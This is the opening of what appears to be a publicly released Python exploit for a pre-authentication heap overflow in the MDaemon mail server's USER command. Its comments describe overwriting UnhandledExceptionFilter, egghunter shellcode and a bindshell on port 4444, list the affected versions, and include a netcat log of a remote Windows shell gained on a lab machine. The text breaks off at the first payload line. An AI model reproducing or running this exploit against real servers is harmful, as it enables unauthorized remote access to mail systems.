#!/usr/bin/python import sys import struct import socket from time import sleep ######################################################################################## # MDaemon Pre Authentication (USER) Heap Overflow # Code based on Leon Juranic's exploit # Coded by muts - mati@see-security.com # http://www.hackingdefined.com # http://www.remote-exploit.org # Tested on: # Mdaemon 9.0.5 # Mdaemon 7.2.3 # Mdaemon 7.2.2 # Mdaemon 7.2.1 # Mdaemon 7.2.0 # Possibly Others # PLEASE CONTINUE READING ! # Huge greets to xbxice and talz for leading me away from the darkness ######################################################################################## # Mdaemon is wierd. It seems like their developers decided to annoy everyone # by making their software do unexpected things. # The exploit overwrites UnhandledExceptionFilter, and jumps to an egghunter # shellcode - which then scans the memory, and executes a bindshell on port 4444. # # On some Win2k SP4 machines, I found SetUnhandledExceptionFilter at 0x00000214, # for which I unfortunately had no explenation. # I later found out that these machines were fully patched ... # After inspecting kernel32.dll from my SP4 (not fully patched) and comparing it to # todays' version, I noticed that the SetunhandledExceptionFilter function had changed, # and looks suspiciously similar to XP SP2... # Note that my unpatched win2k was last patched 2-3 weeks ago, # so I suspect this change is recent. # The end of easy UnhandledExceptionFilter exploitation on Win2k ? # # So, this is a partially working exploit, on unpatched win2k boxes.... # Kiddies, treat this exploit as DOS :) # # I got 3 types of results with this code: # # 1. Shell :) # 2. Mdaemon process shoots up to 100%, scanning memory for shellcode that isn't there. # 3. Plain ugly crash - oh well. # # At minimum, I'de check the UnhandledExceptionFilter address before running the exploit. ######################################################################################## # # C:\Documents and Settings\muts>nc -v 192.168.220.128 4444 # 97DACBEC7CA4483 [192.168.220.128] 4444 (?) open # Microsoft Windows 2000 [Version 5.00.2195] # (C) Copyright 1985-2000 Microsoft Corp. # # C:\MDaemon\APP> ######################################################################################## host="192.168.220.128" ret = struct.pack("